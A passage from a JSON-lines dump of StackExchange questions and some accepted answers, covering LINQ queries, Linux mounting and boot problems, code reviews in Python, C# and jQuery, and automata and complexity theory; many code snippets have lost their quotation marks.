all orders just to sum up OrderTotal?var total = db.Orders.Where(o => o.DateCompleted >= dtStartDate                              && o.DateCompleted <= dtEndDate                              && (o.Status == 1 || o.Status == 2)                              && o.Kiosk != 0                              && o.SalesRepID == user.SalesRepID)                     .Sum(o => o.OrderTotal);orderTotal += total;dtg.DailyTotal = orderTotal;dailyTeamGoals.Add(dtg);The above doesn't sort anything, has the same criterion and performs everything on the server side, without materializing every order in the way. Also I believe if the table has all the fields used in the WHERE, in an index (guts tell me especially DateCompleted), that would further help the server-side processing, but that's something you're probably better off finding out with a profiler."  } 
{  "id": "_unix.251375"  , "question": "I ran this command on RHEL 6.3:# mount /dev/cdrom /mntEverything is okay, but after a restart the mounted dir, /mnt disappears...I don't know where is it going."  , "title": "Mounted dir disappears after restart"  , "tags": "rhel;mount"  } 
{  "id": "_softwareengineering.133935"  , "question": "I'm writing a Java framework to manipulate a large amount of data in-memory, where many cells that are near each other will have the same value.I'm looking for algorithms and/or techniques specially designed to eliminate those duplication while maintaining fast in-memory read access speed. That is, techniques that keeps an O(1) read-access speed.My data is store in immutable objects, to allow fast multi-threading. The data itself can be anything, from 4 bits-per-cell to doubles to arrays of beans, etc."  , "title": "Where can I find good example of techniques to compact data in-memory?"  , "tags": "java;performance;compression"  , "accepted_answer": "If there is a lot of repetition of values then some form of run length encoding might work for the compression side, the tricky part would be maintaining O(1) lookup (or if we relax that constraint slightly, fast lookup)you could get log m lookup relatively easily (where m is the number of runs , not the number of values) by instead of storing the length with each value store the indexe.g. using the wikipedia example of WWWWWWWWWWWWBWWWWWWWWWWWWBBBWWWWWWWWWWWWWWWWWWWWWWWWBWWWWWWWWWWWWWWinstead of storing the lengths with each value for a run (added parens for clarity)(12 W)(1 B)(12 W)(3 B)(24 W)(1 B)(14 W)we could store the indexes at which we change value (pluss an ending value if necessary)(0 W)(12 B)(13 W)(25 B)(28 W)(52 B)(53 W)(67 null) we can then use a binary search on the index to find the value for any index in log(m) which may be quick enough?"  } 
{  "id": "_unix.185144"  , "question": "I am a bit of a newbie when it comes to migrations. I had an old machine whose PSU crapped out. So I took whatever I could salvage (i.e. RAM, gfx card and the HDD which still had my arch installation) and merged it into a new machine. When I try to boot up the machine, it says cannot find root device with UUID-xxxxxx and it drops me into a recovery shell. After a bit of fiddling around I found out that the machine does boot into the fallback image and everything works perfectly. But when I reboot and try to boot into the normal image it says the same thing again. I am a bit lost as to what is going on. Could someone explain to me what went wrong and how I can go about fixing this? Also, I am writing this from the new machine in the fallback image.Cheers!Edits :/etc/fstab# UUID=2932dc14-2339-4509-aa13-4131764a9bfe/dev/sda5               /           ext4        rw,relatime,data=ordered    0 1# UUID=ed251836-86aa-40ab-bd1f-b6f40937cb72/dev/sda1               /boot       ext2        rw,relatime 0 2# UUID=c2a8e803-2197-4130-99f3-6a43cfb43e73/dev/sda7               /home       ext4        rw,relatime,data=ordered    0 2#aravind@husker:/home/aravind/Work/  /home/aravind/Work   fuse.sshfs  noauto,x-systemd.automount,_netdev,users,IdentityFile=/home/aravind/.ssh/id_rsa,allow_other,reconnect,workaround=all   0   0/var/log/dmesg.logThere is no dmesg.log or boot.log in /var/log/BootloaderGrubBootloader - config /boot/grub/grub.cfg## DO NOT EDIT THIS FILE## It is automatically generated by grub-mkconfig using templates# from /etc/grub.d and settings from /etc/default/grub#### BEGIN /etc/grub.d/00_header ###insmod part_gptinsmod part_msdosif [ -s $prefix/grubenv ]; then  load_envfiif [ ${next_entry} ] ; then   set default=${next_entry}   set next_entry=   save_env next_entry   set boot_once=trueelse   set default=0fiif [ x${feature_menuentry_id} = xy ]; then  menuentry_id_option=--idelse  menuentry_id_option=fiexport menuentry_id_optionif [ ${prev_saved_entry} ]; then  set saved_entry=${prev_saved_entry}  save_env saved_entry  set prev_saved_entry=  save_env prev_saved_entry  set boot_once=truefifunction savedefault {  if [ -z ${boot_once} ]; then    saved_entry=${chosen}    save_env saved_entry  fi}function load_video {  if [ x$feature_all_video_module = xy ]; then    insmod all_video  else    insmod efi_gop    insmod efi_uga    insmod ieee1275_fb    insmod vbe    insmod vga    insmod video_bochs    insmod video_cirrus  fi}if [ x$feature_default_font_path = xy ] ; then   font=unicodeelseinsmod part_msdosinsmod ext2set root='hd0,msdos5'if [ x$feature_platform_search_hint = xy ]; then  search --no-floppy --fs-uuid --set=root --hint-bios=hd0,msdos5 --hint-efi=hd0,msdos5 --hint-baremetal=ahci0,msdos5  2932dc14-2339-4509-aa13-4131764a9bfeelse  search --no-floppy --fs-uuid --set=root 2932dc14-2339-4509-aa13-4131764a9bfefi    font=/usr/share/grub/unicode.pf2fiif loadfont $font ; then  set gfxmode=auto  load_video  insmod gfxtermfiterminal_input consoleterminal_output gfxtermset timeout=5### END /etc/grub.d/00_header ###### BEGIN /etc/grub.d/10_linux ###menuentry 'Arch Linux, with Linux core repo kernel' --class arch --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-core repo kernel-true-2932dc14-2339-4509-aa13-4131764a9bfe' {    load_video    set gfxpayload=keep    insmod gzio    insmod part_msdos    insmod ext2    set root='hd0,msdos1'    if [ x$feature_platform_search_hint = xy ]; then      search --no-floppy --fs-uuid --set=root --hint-bios=hd0,msdos1 --hint-efi=hd0,msdos1 --hint-baremetal=ahci0,msdos1  ed251836-86aa-40ab-bd1f-b6f40937cb72    else      search --no-floppy --fs-uuid --set=root ed251836-86aa-40ab-bd1f-b6f40937cb72    fi    echo    'Loading Linux core repo kernel ...'    linux   /vmlinuz-linux root=UUID=2932dc14-2339-4509-aa13-4131764a9bfe ro  quiet    echo    'Loading initial ramdisk ...'    initrd  /initramfs-linux.img}menuentry 'Arch Linux, with Linux core repo kernel (Fallback initramfs)' --class arch --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-core repo kernel-fallback-2932dc14-2339-4509-aa13-4131764a9bfe' {    load_video    set gfxpayload=keep    insmod gzio    insmod part_msdos    insmod ext2    set root='hd0,msdos1'    if [ x$feature_platform_search_hint = xy ]; then      search --no-floppy --fs-uuid --set=root --hint-bios=hd0,msdos1 --hint-efi=hd0,msdos1 --hint-baremetal=ahci0,msdos1  ed251836-86aa-40ab-bd1f-b6f40937cb72    else      search --no-floppy --fs-uuid --set=root ed251836-86aa-40ab-bd1f-b6f40937cb72    fi    echo    'Loading Linux core repo kernel ...'    linux   /vmlinuz-linux root=UUID=2932dc14-2339-4509-aa13-4131764a9bfe ro  quiet    echo    'Loading initial ramdisk ...'    initrd  /initramfs-linux-fallback.img}### END /etc/grub.d/10_linux ###### BEGIN /etc/grub.d/20_linux_xen ###### END /etc/grub.d/20_linux_xen ###### BEGIN /etc/grub.d/30_os-prober ###### END /etc/grub.d/30_os-prober ###### BEGIN /etc/grub.d/40_custom #### This file provides an easy way to add custom menu entries.  Simply type the# menu entries you want to add after this comment.  Be careful not to change# the 'exec tail' line above.### END /etc/grub.d/40_custom ###### BEGIN /etc/grub.d/41_custom ###if [ -f  ${config_directory}/custom.cfg ]; then  source ${config_directory}/custom.cfgelif [ -z ${config_directory} -a -f  $prefix/custom.cfg ]; then  source $prefix/custom.cfg;fi### END /etc/grub.d/41_custom ###### BEGIN /etc/grub.d/60_memtest86+ ###### END /etc/grub.d/60_memtest86+ ###"  , "title": "Old HDD with arch linux on new machine won't boot"  , "tags": "arch linux;fstab;migration"  } 
{  "id": "_softwareengineering.274118"  , "question": "Not sure exactly how to phrase the question succinctly for the title.I have a collection class that extends another collection class.The parent collection-class has a method addMember(someClass $obj) that adds an object to the collection.The child collection-class groups objects of the child class of someclass, someClassChild. I thought that a child class's method's signature would pass muster as long as the signature was the same or required children of the classes the parent required.E.g. addMember(someClassChild $obj)But I tried it and I'm getting a warning about strict standards.So then, how to I implement a collection class as a child of another collection class to provide functionality for parent/child base objects?"  , "title": "PHP extended class method requires same signature including object class requirement?"  , "tags": "object oriented;php"  } 
{  "id": "_codereview.127606"  , "question": "I have a WinForms MVC application that uses Ninject for it's Dependency Injection (DI) / IoC Container. I have build quite a nice framework that allows the main shell (which uses a Docking Container to house an manipulate windows - like Visual Studio), to manipulate IDocument types (actual documents .txt, .xlsx etc.) and ITool types (my utilities, like file system explorer tree view, Command Window etc.). I communicate from the views (which are blind and deaf to the fact the controllers exist) to their controllers via event handlers. So the architecture is like this: IView.cs:public interface IView{    string DisplayName { get; set; }}IController.cs:public interface IController{    bool IsDirty { get; set; }    IView View { get; }}IDocumentView.cs:public interface IDocumentView : IView, IActivate, IDeactivate{    bool StatusBarVisible { get; set; }}IDocumentController.cs:public interface IDocumentController : IController{    bool Handles(string path);    DocumentView New(string fileName);    DocumentView Open(string path);    void Save();    string FilePath { get; set; }    IEnumerable<DocumentFileType> FileTypes { get; }}I then have an abstract DocumentView class that handles so common behaviors of all IDocument types.DocumentController.cs:public abstract class DocumentController : IDocumentController, IClose, IGuardClose, IDisposable{       // Lots of stuff...}IGuardClose.cs:public interface IGuardClose{    void CanClose(Action<bool> callback);}IClose.cs:public interface IClose{    bool TryClose(object sender, FormClosingEventArgs e);}DocumentView.cs:    [TypeDescriptionProvider(typeof(AbstractControlDescriptionProvider))]    public abstract class DocumentView : DockContent, IDocumentView, IViewManagment    {        public virtual EventHandler OnViewLoaded { get; set; }        public virtual EventHandler OnViewClosing { get; set; }    public virtual EventHandler<EventArgs> ViewActivated { get; set; }    public virtual EventHandler<EventArgs> ViewDeactivate { get; set; }    public abstract string DisplayName { get; set; }    public virtual bool StatusBarVisible { get; set; }}IViewManagement.cs:public interface IViewManagment{    EventHandler OnViewLoaded { get; set; }    EventHandler<FormClosingEventArgs> OnViewClosing { get; set; }}They allow me to wire my controller up to listen for the loaded and losing events triggered from the view without the view knowing anything about it, but herein lies my problem.For my actual IDocumentViews and IDocumentControllers, I inherit from DocumentView and DocumentController respectively. This works well and all is fine, I can open new documents, open from files system you name it. My issue, is to do with closure. If I click the views X button to close the view, I need (and do) let the controller clean up some resources it is using (a FileSystemWatcher for the opened file etc.), but I also need to be able to close the view from the controller, so the TryClose method cannot merely do View.Close() for all calls as clearly this will envolve a stack overflow, as the View.Close() request would lead to another call to the controller TryClose etc. My questions:How can I best implement Controller.TryClose() so it can be used from both the controller and the view, should I have two methods in IClose, CleanUp(), let the controller clean its business and Close() actually close the view as well as clean up?Sometimes the user will close the main shell. Here I can to loop through all open documents and check CanClose() of IGuardClose. Assuming I can easily access the controllers from the main shell in a for loop/foreach loop, how best could I implement a close all (with safety - some documents  are unsaved do you want to save now?)?"  , "title": "Supporting all closure options in WinForms MVC application"  , "tags": "c#;winforms;dependency injection"  } 
{  "id": "_codereview.82261"  , "question": "Since I am fairly new to Python I was wondering whether anyone can help me by making the code more efficient. I know the output stinks; I will be using Pandas to make this a little nicer.from xlrd import *def main():    '''This Proram reads input (A:clone name, B:sequence, C:elisa) from an    Excel file and makes a cross comparison of each sequence pair'''    book = open_workbook(mtask.xlsx)    Input = book.sheet_by_index(0)    # naming of input data    a = (Input.col_values(0,0))    b = (Input.col_values(1,0))    c = (Input.col_values(2,0))    # make dictionary: keys are seq numbers; values are residues     y = {}    for i in range(Input.nrows):        x = []        for j in b[i]:            x.append(j)        y[a[i]] = x    # comparison of sequences and extraction of mutations for each sequence pair    List = []    for shit in range(Input.nrows):        for seq in range(Input.nrows):            seq12 = []            z = 0            for i in y[a[seq]]:                try:                    for j in y[a[shit]][z]:                         if i == j:                             seq12.append(i.lower()+j.lower())                         else:                             seq12.append(i+j)                    z = z+1                except IndexError:                     print(oops)            lib = [a[seq],a[shit],c[seq],c[shit]]            for position, item in enumerate(seq12):                if item.isupper():                    x = (str(item[0])+str(position+1)+str(item[1]))                    lib.append(x)            List.append(lib)    # comparison of sequences and extraction of mutations for each sequence pair    dic = {}    for i in range(Input.nrows*Input.nrows):        x = []        for j in List[i]:            x.append(j)        dic[i] = x    # sort    a = []    for i in dic.values():        a.append(i)    # collect number of mutations in data files    import csv    null = []    one = []    two = []    three = []    four = []    five = []    six = []    seven = []    eight = []    nine = []    ten = []    for i in range(Input.nrows*Input.nrows):        if len(a[i]) <= 4:            null.append(a[i])            with open(no_mut.csv, w, newline=) as f:                writer = csv.writer(f)                writer.writerows(null)        elif len(a[i]) == 5:            one.append(a[i])            with open(one.csv, w, newline=) as f:                writer = csv.writer(f)                writer.writerows(one)        elif len(a[i]) == 6:            two.append(a[i])            with open(two.csv, w, newline=) as f:                writer = csv.writer(f)                writer.writerows(two)        elif len(a[i]) == 7:            three.append(a[i])            with open(three.csv, w, newline=) as f:                writer = csv.writer(f)                writer.writerows(three)        elif len(a[i]) == 8:            four.append(a[i])            with open(four.csv, w, newline=) as f:                writer = csv.writer(f)                writer.writerows(four)        elif len(a[i]) == 9:            five.append(a[i])            with open(five.csv, w, newline=) as f:                writer = csv.writer(f)                writer.writerows(five)        elif len(a[i]) == 10:            six.append(a[i])            with open(six.csv, w, newline=) as f:                writer = csv.writer(f)                writer.writerows(six)        elif len(a[i]) == 11:            seven.append(a[i])            with open(seven.csv, w, newline=) as f:                writer = csv.writer(f)                writer.writerows(seven)        elif len(a[i]) == 12:            eight.append(a[i])            with open(eight.csv, w, newline=) as f:                writer = csv.writer(f)                writer.writerows(eight)        elif len(a[i]) == 13:            nine.append(a[i])            with open(nine.csv, w, newline=) as f:                writer = csv.writer(f)                writer.writerows(nine)        elif len(a[i]) == 14:            ten.append(a[i])            with open(ten.csv, w, newline=) as f:                writer = csv.writer(f)                writer.writerows(ten)main()"  , "title": "Reading an Excel file and comparing the amino acid sequence of each data pair"  , "tags": "python;beginner;excel;bioinformatics;pandas"  } 
{  "id": "_codereview.19799"  , "question": "I need to write a jQuery plugin that doesn't take an element to work.Example call:$.funkyTown();... not called like this:$('#foo').funkyTown();...in other words, I need this plugin to act more like a utility plugin (vs. apply itself directly to a matched element(s)).Here's what I have written so far:;(function($, window, document, undefined) {    var console = this.console || { log : $.noop, warn: $.noop }, // http://api.jquery.com/jQuery.noop/    defaults = {        foo : 'bar',        // Callbacks:        onInit : $.noop, // After plugin data initialized.        onAfterInit : $.noop // After plugin initialization.        // Using $.noop shorter than function() {} and slightly better for memory.    },    settings = {},    methods = {        // Initialize!        // Example call:        // $.funkyTown({ foo : 'baz' });        // @constructor        init : function(options) {            settings = $.extend({}, defaults, options);            settings.onInit.call(this, 'that');            console.log('1. init:', settings.foo, _foo_private_method(), methods.foo_public_method());            console.warn('2. I\\'m a warning!');            settings.onAfterInit.call(this);            return this; // Is this needed for chaining?        },        // Example call:        // console.log($.funkyTown('foo_public_method', 'Wha?'));        foo_public_method : function(arg1) {            arg1 = (typeof arg1 !== 'undefined') ? arg1 : 'Boo!';            return 'foo_public_method(), arg1: ' + arg1;        },        // Might need to give users the option to destroy what this plugin created:        destroy : function() {            // Undo things here.        }    },    // The _ (underscore) is a naming convention for private members.    _foo_private_method = function() {        return '_foo_private_method(), settings.foo: ' + settings.foo;    };    // Method calling logic/boilerplate:    $.funkyTown = function(method) {        if (methods[method]) {            return methods[method].apply(this, Array.prototype.slice.call(arguments, 1));        } else if ((typeof method === 'object') || ( ! method)) {            return methods.init.apply(this, arguments);        } else {            $.error('Method ' + method + ' does not exist on jQuery.funkyTown.');        }    };}(jQuery, window, document));The above is called like so:$(document).ready(function() {    // Calls init and modifies default options:    $.funkyTown({ foo : 'baz' });    // Access to public method:    console.log($.funkyTown('foo_public_method', 'Wha?'));});My questions:Do you see anything out of the ordinary with my above plugin template? If so, how could it be improved?Related to #1 above: As you can probably see, I'm trying to account for the various needs like passing options, private and public methods and console handling... What am I missing in terms of useful features? This line $.funkyTown = function(method) { makes the javascript linter throw a warning: warning: anonymous function does not always return a value; is there anyway for me to fix this? Could I just add return false to the end (right before the closing };? Update: Looks like I just needed to use a different tool.Because I'm writing a utility plugin (one that will never be used directly on an element) do I still need to return this in my public methods in order to make things chainable (see the return this; // Is this needed for chaining? line of code above)? Should I even worry about chaining for this type of plugin?Could you provide any other feedback to help me improve my code?What's the easiest/best way to pass settings from init to other private and public functions? Normally, I'd use .data() on $(this) to store settings and other stateful vars... Because there's not element, should I just pass settings as an argument to the other methods? Update: Doi! This was an easy one! I simply needed to initialize my settings outside of my public methods object.UPDATE 1:I've updated my code (above) to reflect the things I've learned (i.e. the strike-through lines in numeric list above) since posting this question.I've also added a new feature:;(function($, window, document, undefined) {// ...}(jQuery, window, document));I found that I needed access to window a few times already in my real script... After some Googling, I found this awesome resource:JavaScript Patterns Collection... which led me to here:Lightweight - perfect as a generic template for beginners and above... specifically:// the semi-colon before the function invocation is a safety// net against concatenated scripts and/or other plugins// that are not closed properly.;(function ( $, window, document, undefined ) {    // undefined is used here as the undefined global    // variable in ECMAScript 3 and is mutable (i.e. it can    // be changed by someone else). undefined isn't really    // being passed in so we can ensure that its value is    // truly undefined. In ES5, undefined can no longer be    // modified.    // window and document are passed through as local    // variables rather than as globals, because this (slightly)    // quickens the resolution process and can be more    // efficiently minified (especially when both are    // regularly referenced in your plugin).})( jQuery, window, document );Update 2:I've added callbacks. I've also decided to use $.noop in place of function() {}:... typing $.noop is 6 chars shorter than function(){}. Also if you  use this everywhere instead of creating new, anonymous, empty  functions, you'll slightly cut down on memory.  MarcoNow I'm wondering what my callbacks should return in a utility plugin? Sending this doesn't seem that useful."  , "title": "A jQuery utility plugin template"  , "tags": "javascript;jquery"  , "accepted_answer": "What I suggest is read the jQuery source. Check out how they do it. In their init method they return this for certain cases, but not for others.Like when there is no selector:if ( !selector ) {    return this;}But if you check out other utility plugins in their source like $.mapmap: function( elems, callback, arg ) {var value,    i = 0,    length = elems.length,    isArray = isArraylike( elems ),    ret = [];    // Go through the array, translating each of the items to their    if ( isArray ) {        for ( ; i < length; i++ ) {            value = callback( elems[ i ], i, arg );            if ( value != null ) {                ret[ ret.length ] = value;            }        }    // Go through every key on the object,    } else {        for ( i in elems ) {            value = callback( elems[ i ], i, arg );            if ( value != null ) {                ret[ ret.length ] = value;            }        }    }    // Flatten any nested arrays    return core_concat.apply( [], ret );},Here they don't return the jQuery object, since this utility is for arrays. My point here is that there's no one shoe fits all. It depends on what you're trying to get from your plugin. Also chaining is expected but not on something like $.map(). Also keep in mind, in your callbacks this should refer to the element in question (ie. in a click callback this refers to the clicked element). If you're not playing with an element, this should refer to the global(window) object."  } 
{  "id": "_codereview.88060"  , "question": "First Python script, so my code is pretty laughable. Sensitive information has been redacted. One thing that I'd like to point out is that there is an inconsistent use of '' and . This is an old habit that I really need to break. import sys, osimport prawimport timeimport sqlite3import reimport requestsimport jsonfrom datetime import datetime,timedeltaUSERNAME  = PASSWORD  = time_zone = updateTime = datetime.utcnow() - timedelta(hours=7)time_stamp = updateTime.strftime(%m-%d-%y %I:%M:%S %p PST :: )sql = sqlite3.connect((os.path.join(sys.path[0],'redacted-sql.db')))cur.execute('CREATE TABLE IF NOT EXISTS oldmentions(ID TEXT)')sql.commit()r = praw.Reddit()r.login(USERNAME, PASSWORD) def stats():    mentions = list(r.get_mentions(limit=None))    unreads = list(r.get_unread(limit=None))    for mention in mentions:        mid = mention.id        try:            pauthor = mention.author.name        except AttributeError:            #author is deleted            continue        cur.execute('SELECT * FROM oldmentions WHERE ID=?', [mid])        if cur.fetchone():            #post already in database             continue        pbody = mention.body.lower().replace('\\n', ' ').encode('utf-8')        pbody_strip_1 = re.sub(r'[^A-Za-z0-9 ]+', '', str(pbody_strip_0))        pbody_words = pbody_strip_1.split(' ')        pbody_words_1 = filter(None, pbody_words)        try:            if pbody_words_1[pbody_words_1.index('redactedbot')-1] == u:                charname = pbody_words_1[pbody_words_1.index('redactedbot')+1]            else:                cur.execute('INSERT INTO oldmentions VALUES(?)', [mid])                sql.commit()                mention.mark_as_read()                continue        except (IndexError, KeyError, ValueError):            cur.execute('INSERT INTO oldmentions VALUES(?)', [mid])            sql.commit()            mention.mark_as_read()            continue        cns_char_dic = json.loads(cns_char_j)        char_exist = cns_char_dic['returned']        if char_exist != 1:            cur.execute('INSERT INTO oldmentions VALUES(?)', [mid])            sql.commit()            mention.mark_as_read()            continue        char_case = cns_char_dic['person_list'][0]['name']['first']        char_id = cns_char_dic['person_list'][0]['person_id']        char_creation = time.strftime(time_format, time.localtime(float(cns_char_dic['person_list'][0]['times']['creation'])))        char_login = time.strftime(time_format, time.localtime(float(cns_char_dic['person_list'][0]['times']['last_login'])))        char_login_count = int(float(cns_char_dic['person_list'][0]['times']['login_count']))        char_h, char_m = divmod(int(cns_char_dic['person_list'][0]['times']['minutes_played']), 60)        if char_h == 1:            hours =  hour         else:            hours =  hours         if char_login_count == 1:            logins =  login)        else:            logins =  logins)        char_rank = cns_char_dic['person_list'][0]['battle_rank']['value']        post_reply_rank = Battle rank:  + char_rank        if char_rank_next != 0:            post_reply_rank +=  ( + char_rank_next + % to next)        char_faction = cns_char_dic['person_list'][0]['faction']        char_world_id = cns_char_dic['person_list'][0]['world_id']        try:            char_outfit = cns_char_dic['person_list'][0]['outfit_member']            if char_outfit['member_count'] != 1:                   post_reply_outfit = Outfit: [ + str(char_outfit['alias']) + ]  + str(char_outfit['name']) +  ( + {:,}.format(int(char_outfit['member_count'])) +  members)            else:                post_reply_outfit = Outfit: [ + char_outfit['alias'] + ]  + char_outfit['name'] +  ( + char_outfit['member_count'] +  member)        except KeyError:            post_reply_outfit = Outfit: None        try:            char_kills = cns_char_dic['person_list'][0]['stats']['stat_history'][5]['all_time']            char_deaths = cns_char_dic['person_list'][0]['stats']['stat_history'][2]['all_time']        cns_stat_j = cns_stat.text        cns_stat_dic = json.loads(cns_stat_j)        char_stat = cns_stat_dic['persons_stat_list']        if pauthor.lower() != USERNAME.lower():            try:                mention.reply(post_reply)                mention.mark_as_read()            except APIException:                pass            cur.execute('INSERT INTO oldmentions VALUES(?)', [mid])            sql.commit()        else:            print(time_stamp + 'Will not reply to myself')            cur.execute('INSERT INTO oldmentions VALUES(?)', [mid])            sql.commit()            mention.mark_as_read()"  , "title": "Uses game API to post stats about user when requested"  , "tags": "python;json;api"  } 
{  "id": "_webapps.44710"  , "question": "I have a problem with Dropbox Camera Upload: I have an iPad, an iPhone and a Samsung Galaxy Camera, all uploading photos to Dropbox. I would like to create different folders for each one of them: uploads from iPad, uploads from iPhone, uploads from Samsung, to divide the photos from each device. Is this possible?"  , "title": "Using Dropbox with multiple cameras"  , "tags": "dropbox"  } 
{  "id": "_cs.79305"  , "question": "The halting-after-$n$ steps problem may be defined as the question if a given turing machine halts after a maximum of $n\\in\\mathbb{N}$ steps. Is it theoretically possible to solve this problem in general in less than $n$ execution steps (just execution the program) or can't this be done? If not, why not?Thank you"  , "title": "Is it possible to solve the halting-after-$n$ steps problem more efficient than just execute $n$ steps?"  , "tags": "turing machines;halting problem"  , "accepted_answer": "The time hierarchy theorem, or rather its proof, gives some answer to this question. If you look at the proof, you should get a lower bound of $\\Omega(n/\\log n)$.In more detail, consider the language $L$ of all triples $\\langle M,x,1^t \\rangle$ such that $M$ halts on $x$ after at most $t$ steps. Suppose that this can be solved in time $f(n)$, where $n$ is the input length (which is $t + |M| + |x|$). Then you can construct a Turing machine which on input $\\langle x,1^t \\rangle$ determines whether $\\langle x,x,1^t \\rangle \\in L$, if so runs into an infinite loop, otherwise halts. When run on itself as input, this machine either halts in time $f(t + O(1)) + O(1)$ or never halts. Hence if $f(t + O(1)) + O(1) \\leq t$, we reach a contradiction. This shows that $f$ has to essentially be at list linear."  } 
{  "id": "_unix.197057"  , "question": "Using grep val index.php I get the list<td class=val>   7.6</td><td class=val>  58</td><td class=val>1013.8 </td><td class=val> 1020 </td><td class=val>   0.2</td><td class=val>   2.4</td>I'd like to filter and get only the value of the first td, that is, 7.6 and save it to use later with echo.That value could change, so grep 7.6 is not good.(!) The line in php containing that tag is line 42. A solution without this information could be better since the line number could change. But for a while, using its number can be a temporary solution.I searched for a solution but I only found complex ones."  , "title": "Filter grep output"  , "tags": "scripting;grep"  } 
{  "id": "_cs.50505"  , "question": "I'm learning how to convert NFAs to DFAs and I want to make sure I'm doing it right. Obviously, going back in the other direction isn't a thing. Does anyone know of an algorithm to check that a DFA is equivalent to a NFA?"  , "title": "How do I verify that a DFA is equivalent to a NFA?"  , "tags": "automata;finite automata;proof techniques;nondeterminism"  , "accepted_answer": "This is a problematic question. There is a way to check equivalence of automata, which I'll now explain, but I'm afraid it won't help you, as you will see at the end.Recall that two sets $A$ and $B$ are equal iff $A\\subseteq B$ and $B\\subseteq A$ (this is the definition of set equality).Thus, it is enough for you to verify that $L(D)\\subseteq L(N)$ and $L(N)\\subseteq L(D)$, where $D$ and $N$ are your DFA and NFA, respectively.But how do you check containment of languages, you might ask. Well, now observe that $A\\subseteq B$ iff $A\\cap \\overline{B}=\\emptyset$ (where $\\overline{B}$ is the complement of $B$).Let's consider first checking whether $L(N)\\subseteq L(D)$. To do this, you need to complement $D$ (very easy - swap the accepting an rejecting states), then construct the intersection automaton (e.g. with the product construction) with $N$, and check for emptiness, by finding a path to an accepting state.The converse direction, however, will show why this doesn't help you. In order to check whether $L(D)\\subseteq L(N)$, you need to complement $N$. But in order to complement an NFA, you first need to convert it to a DFA, rendering the whole idea pointless.Essentially, the problem with your question is much deeper: you want to verify that you (an undefined computational model) executed a well-defined algorithm properly. So this is not really a computer-science problem.I will say this: following the constructions I suggested, it is not hard to conclude that $L(D)\\neq L(N)$ iff there is a word of length at most $2^{2n}$ ($n$ being the number of states of $N$) that is accepted by one and not by the other. So you can try all words up to this length. "  } 
{  "id": "_cseducators.728"  , "question": "These days, we've got all this fancy, new-fangled technology. We've got live coding, we've got presentations, we've got remote desktop adapted for classroom use. There seems to be a tool for every teaching problem. But when should we ignore the KnowledgeInjector2000TM and instead use the good old blackboard?More specifically, which concepts are easier to explain with a blackboard and how would you use a blackboard to explain them?"  , "title": "When should I scrap my projector for a blackboard?"  , "tags": "lecture tools"  } 
{  "id": "_softwareengineering.318549"  , "question": "When I have some object with boolean state that can be changed (like a checkbox's checkedness), there are several ways I can expose it.Getter property, Setter methodbool IsChecked { get { ... } }void SetChecked(bool checked) { ... }Getter property, Set true method, Set false methodbool IsChecked { get { ... } }void Check() { ... }void Uncheck() { ... }Getter, setter propertybool IsChecked { get { ... } set { ... } }  Is there a good design or logical reason to use one of these ways in particular? (I apologize if this question is too opinion-based/open-ended)"  , "title": "How should I represent mutable boolean state?"  , "tags": "c#;design patterns"  } 
{  "id": "_unix.134010"  , "question": "I'm writing a script to build a software from sources, and there's a --platforms option. I would like to allow the user to select multiple items, but I don't know how to prevent them from making a mistake.Example:read -p For what platforms do you wish to build [mac/win/linux32/linux64/all] ? if [[ -n `echo $REPLY | grep 'win\\|mac\\|linux32\\|linux64\\|all` ]] ; then    echo okelse     echo not okfiIf the user answers linux32, it should be OK (and it is)If the user answers linux32,mac, it should be OK (and it is)If the user answers lulz, it should NOT be OK (and it is not)If the user answers linux32,lulz, it should NOT be OK (and it is, that's my issue)I was wondering if you knew a way to allow the user to input whatever they want separated by commas, but only if it's one of the options the script is offering, so in this case linux32 linux64 mac win all. Maybe with case there is a way to allow multiple inputs, or maybe add an elif $REPLY contains anything else than what we want. Another idea, could awk be used? I can't figure out myself how to do that."  , "title": "Check if a variable contains only what I want, and nothing else"  , "tags": "bash;grep"  , "accepted_answer": "A simplified/improved version of arnefm's answer:read -p 'Enter a comma-separated list of platforms to build for [win/mac/linux32/linux64/all]: ' inputIFS=',' read -a options <<< $inputshopt -s extglobfor option in ${options[@]}; do    case $option in        win|mac|linux@(32|64)|all)            buildcommand=${buildcommand:+$buildcommand,}$option            buildvar=1;;        *)            printf 'Invalid option %s ignored.\\n' $option >&2;;    esacdoneIFS=',' read -a options <<< $buildcommandfor option in ${options[@]}; do    if [[ $option == 'all' ]]; then        buildcommand='all'        break    fidoneif (( !buildvar )); then    echo 'Incorrect input. Default build selected.' >&2    buildcommand='default'fi"  } 
{  "id": "_cs.68861"  , "question": "The question is to show that there are $(n-1)!/2$ distinct tours for a Euclidean traveling salesman problem (ETSP) on $n$ points.My attempt was using induction. So I start by:If $n=3$, then we have a triangle and there is only one tour.Assume that there are $(n-1)!/2$ distinct tours for a ETSP on $n$ points. Prove that there are $n!/2$ distinct tours for a ETSP on $n+1$ points?Here I proceed like this: for each tour $t$ from the $(n-1)!/2$ distinct tours do: add one point $n+1$.for each edge $e=\\{v_i, v_j\\}$ in $t$ do: remove $e$ and create two edges $e_1=\\{n+1,v_i\\}$ and $e_2=\\{n+1, v_j\\}$. We have a new tour and in total we can create $n$ distinct tours.Since there are $(n-1)!/2$ distinct tours, we will have $n(n-1)!/2=n!/2$ distinct tours.This gives the desired result but somehow long and complicated."  , "title": "Show that there are $(n-1)!/2$ distinct tours for a Euclidean traveling salesman problem on $n$ points?"  , "tags": "traveling salesman"  , "accepted_answer": "We may reason in a combinatorial way.There are $n!$ permutations of $n$ nodes, but that overcounts the number of tours in two different ways. Since tours are closed, we may start indifferently on any of the $n$ nodes, and we may choose the direction in $2$ ways. Therefore, each tour was counted a total of $2n$ times.This yields the desired result."  } 
{  "id": "_unix.19829"  , "question": "I've got a slight problem with a very stubborn error during an rsync. It's caused by a file with a special character in its filename. There's been others but I could sort that out by doing some conversion in the encoding of the filename. However this one file I can't even find.So here's what rsync says:../.\\#033OA.tex.pyD0MB failed: No such file or directory (2)First thing one notices is that the character code can't be hex or octal so I've googled it and only found this. So it may be a CURSOR UP character (or not). I've triedls -la *`printf '\\033OA'`*to no avail. I've also tried piping the output of ls of that directory to od to no avail.What else can I do? Or what character am I looking for anyway?Thanks"  , "title": "special character in filename (\\#033OA)"  , "tags": "filenames;character encoding;special characters"  , "accepted_answer": "You can use the -b option to ls, which shows non graphical characters as C-style escape sequences."  } 
